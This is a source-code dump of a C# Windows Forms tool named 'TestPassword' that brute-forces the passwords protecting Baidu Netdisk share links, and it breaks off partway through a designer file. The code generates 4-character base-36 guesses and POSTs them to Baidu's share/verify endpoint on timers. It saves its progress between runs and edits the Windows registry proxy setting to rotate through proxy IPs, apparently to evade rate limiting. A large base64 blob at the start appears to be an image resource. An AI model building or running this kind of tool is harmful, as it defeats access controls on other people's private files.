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
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Program.cs
================================================
using System;
using System.Windows.Forms;
namespace zgcwkj
{
internal static class Program
{
///
/// 应用程序的主入口点。
///
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Main());
}
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
[assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("zgcwkj")]
[assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("zgcwkj")]
[assembly: AssemblyCulture("")]
//将 ComVisible 设置为 false 将使此程序集中的类型
//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.8.0.5")]
[assembly: AssemblyFileVersion("1.8.0.5")]
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
using System;
///
/// 一个强类型的资源类,用于查找本地化的字符串等。
///
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// 返回此类使用的缓存的 ResourceManager 实例。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// 使用此强类型资源类,为所有资源查找
/// 重写当前线程的 CurrentUICulture 属性。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Properties/Settings.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/Properties/Settings.settings
================================================
================================================
FILE: TestPassword V1.8.0.5/TestPassword/StaticClass.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// 静态类
///
public static class StaticClass
{
#region 静态字符串
///
/// 线程状态
///
public static bool status { get; set; }
///
/// 目标连接
///
public static string url { get; set; }
///
/// 存放的路径
///
public static string file { get; set; }
#endregion 静态字符串
#region 静态方法
///
/// Get请求
///
public static string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion 静态方法
}
}
================================================
FILE: TestPassword V1.8.0.5/TestPassword/TestPassword.csproj
================================================
Debug
AnyCPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}
WinExe
Properties
zgcwkj
TestPassword
v4.0
512
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
ico.ico
Form
Main.cs
Main.cs
ResXFileCodeGenerator
Resources.Designer.cs
Designer
True
Resources.resx
True
SettingsSingleFileGenerator
Settings.Designer.cs
True
Settings.settings
True
================================================
FILE: TestPassword V1.8.0.5/TestPassword.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Hash.cs
================================================
using System;
namespace zgcwkj
{
public static class Hash
{
//哈希类 36进制
//有效哈希[10000000,11679615]
#region 只支持4位 By MXWXZ
public static string HashTo4Str(int hash)
{
string ret = "";
hash -= 10000000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 3) ret += "0";//前导零
if (ret.Length == 2) ret += "00";
if (ret.Length == 1) ret += "000";
if (ret.Length == 0) ret += "0000";
return reverse(ret);
}
public static int StrTo4Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 46656;
ret += Char2Hash(str[1]) * 1296;
ret += Char2Hash(str[2]) * 36;
ret += Char2Hash(str[3]);
ret += 10000000;//防止前导零
return ret;
}
#endregion 只支持4位 By MXWXZ
#region 只支持6位 By zgcwkj
public static string HashTo6Str(int hash)
{
string ret = "";
hash -= 100000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 5) ret += "0";//前导零
if (ret.Length == 4) ret += "00";
if (ret.Length == 3) ret += "000";
if (ret.Length == 2) ret += "0000";
if (ret.Length == 1) ret += "00000";
if (ret.Length == 0) ret += "000000";
return reverse(ret);
}
public static int StrTo6Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 60466176;
ret += Char2Hash(str[1]) * 1679616;
ret += Char2Hash(str[2]) * 46656;
ret += Char2Hash(str[3]) * 1296;
ret += Char2Hash(str[4]) * 36;
ret += Char2Hash(str[5]);
ret += 100000;//防止前导零
return ret;
}
#endregion 只支持6位 By zgcwkj
private static int Char2Hash(char c)
{
if (c >= '0' && c <= '9') return c - '0';
else return c - 'a' + 10;
}
private static char Hash2Char(int hash)
{
if (hash >= 0 && hash <= 9) return (char)('0' + hash);
else return (char)('a' + hash - 10);
}
private static string reverse(string str)
{
char[] arr = str.ToCharArray();
Array.Reverse(arr);
return new string(arr);
}
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/HttpHelp.cs
================================================
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// 网络请求帮助类
///
public static class HttpHelp
{
public static CookieContainer cookie = new CookieContainer();
#region Get请求
///
/// 请求路径
///
/// 请求的路径
/// 返回请求的网页数据
public static string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
throw e;
}
}
#endregion Get请求
#region Post请求
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 返回结果
public static string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Referer = Url;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
request.Method = "POST";
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
throw ex;
}
}
#endregion Post请求
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/HttpProxy.cs
================================================
using Microsoft.Win32;
using System;
using System.IO;
namespace zgcwkj
{
public class HttpProxy
{
#region 启动IP代理服务
///
/// 启动IP代理服务
///
///
public bool startUp()
{
//记录Goto的次数
int i = 0;
//Goto 重新获取IP启动代理服务
Retry:
//Goto的次数自增
i++;
//尝试的次数达到一定的次数时退出
if (i > 10) return false;
//关闭代理服务
if (GetSwitchState()) SwitchOff();
#region 验证文件
//文件不存在
if (!File.Exists(StaticClass.proxy)) return false;
//文件为空
if (File.ReadAllText(StaticClass.proxy) == "") return false;
//文件为空
if (File.ReadAllText(StaticClass.proxy) == "\r\n") return false;
#endregion 验证文件
//获取电脑之前记录的代理IP
string ip = GetProxyIp();
//通过API获取代理数据
try
{
string proxy = File.ReadAllText(StaticClass.proxy);
string[] proxys = proxy.Replace("\r", "").Split('\n');
ip = proxys[0];
File.Delete(StaticClass.proxy);
File.AppendAllText(StaticClass.proxy, proxy.Replace(ip + "\r\n", ""));
}
catch (Exception e)
{
string str = e.Message;
}
//设置代理IP
SwitchOn(ip);
//验证代理IP能否使用
try
{
HttpHelp.HttpGet("https://blog.zgcwkj.top");
return true;
}
catch (Exception e)
{
string str = e.Message;
SwitchOff();
//Goto 重试
goto Retry;
}
}
#endregion 启动IP代理服务
#region 通过注册表修改代理服务
//注册表位置
private string reg_path = @"Microsoft\Windows\CurrentVersion\Internet Settings";
//Key名称
private string key_name = "ProxyServer";
//switch名称
private string switch_name = "ProxyEnable";
//启动代理
public void SwitchOn(string ip_port)
{
SetRegValue(reg_path, key_name, ip_port);
SetRegValue(reg_path, switch_name, 1);
}
//停止代理
public void SwitchOff()
{
SetRegValue(reg_path, switch_name, 0);
}
//获取代理状态
public bool GetSwitchState()
{
return GetRegValue(reg_path, switch_name) == "1";
}
//获取代理IP
public string GetProxyIp()
{
return GetRegValue(reg_path, key_name);
}
private void SetRegValue(string path, string name, T value)
{
RegistryKey expr_05 = Registry.CurrentUser;
RegistryKey expr_17 = expr_05.OpenSubKey(@"Software\" + path, true);
expr_17.SetValue(name, value);
expr_17.Close();
expr_05.Close();
}
private string GetRegValue(string path, string name)
{
string result = string.Empty;
RegistryKey currentUser = Registry.CurrentUser;
RegistryKey registryKey = currentUser.OpenSubKey("Software\\" + path);
if (registryKey == null)
{
return null;
}
object value = registryKey.GetValue(name);
if (value != null)
{
result = value.ToString();
}
registryKey.Close();
currentUser.Close();
return result;
}
#endregion 通过注册表修改代理服务
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/HttpTest.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// Http测试类(百度网盘分享连接密码测试)
///
public class HttpTest
{
private string info = "";//唯一识别文件的值
///
/// 实例测试类
///
/// 访问的链接
public HttpTest(string url)
{
info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
}
///
/// 访问网页
///
///
public string Get()
{
return HttpGet("https://pan.baidu.com/share/init?" + info);
}
///
/// 提交密码
///
/// 密码
///
public string Post(string pwd)
{
DateTime time = DateTime.Now;
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
string data = "pwd=" + pwd + "&vcode=&vcode_str=";
return HttpPost(url, data);
}
#region 网络请求
private CookieContainer cookie = new CookieContainer();
#region Get请求
///
/// 请求路径
///
/// 请求的路径
/// 返回请求的网页数据
private string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion Get请求
#region Post请求
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 返回结果
private string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Referer = "https://pan.baidu.com/share/init?" + info;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
request.Method = "POST";
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
return ex.Message;
}
}
#endregion Post请求
#endregion 网络请求
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/HttpThread.cs
================================================
using System;
using System.IO;
using System.Timers;
namespace zgcwkj
{
public class HttpThread
{
private Main myMain;//主窗体
private int StartValue = 0;//基值
private int NumberValue = 0;//剩余次数
private Timer timer;//线程
private string ThreadID;//线程ID
///
/// http请求线程类
///
/// 主窗体
/// 线程名称
/// 开始值
/// 结束值
/// 线程速度
public HttpThread(Main main, string name, int start, int number, int interval)
{
myMain = main;
StartValue = start;
NumberValue = number;
ThreadID = StaticClass.file + "/" + name;
timer = new Timer(interval);
}
///
/// 启动线程
///
///
public HttpThread Start()
{
#region 载入历史参数
try
{
if (File.Exists(ThreadID + ".ini"))
{
string _start = File.ReadAllText(ThreadID + ".ini");
if (_start != "") StartValue = Convert.ToInt32(_start);
}
}
catch { }
#endregion 载入历史参数
timer.Elapsed += new ElapsedEventHandler(_Timer);
timer.Start();
return this;
}
private void _Timer(object sender, ElapsedEventArgs e)
{
Timer timer = sender as Timer;
if (NumberValue < StartValue || StaticClass.status)
{
#region 保存历史参数
try
{
File.Delete(ThreadID + ".ini");
File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
}
catch { }
#endregion 保存历史参数
timer.Stop();
}
else
{
string password = Hash.HashTo4Str(StartValue);
HttpTest httptest = new HttpTest(StaticClass.url);
myMain.ModifyStr(httptest.Post(password), password);
StartValue = StartValue + 1;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Main.Designer.cs
================================================
namespace zgcwkj
{
partial class Main
{
///
/// 必需的设计器变量。
///
private System.ComponentModel.IContainer components = null;
///
/// 清理所有正在使用的资源。
///
/// 如果应释放托管资源,为 true;否则为 false。
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows 窗体设计器生成的代码
///
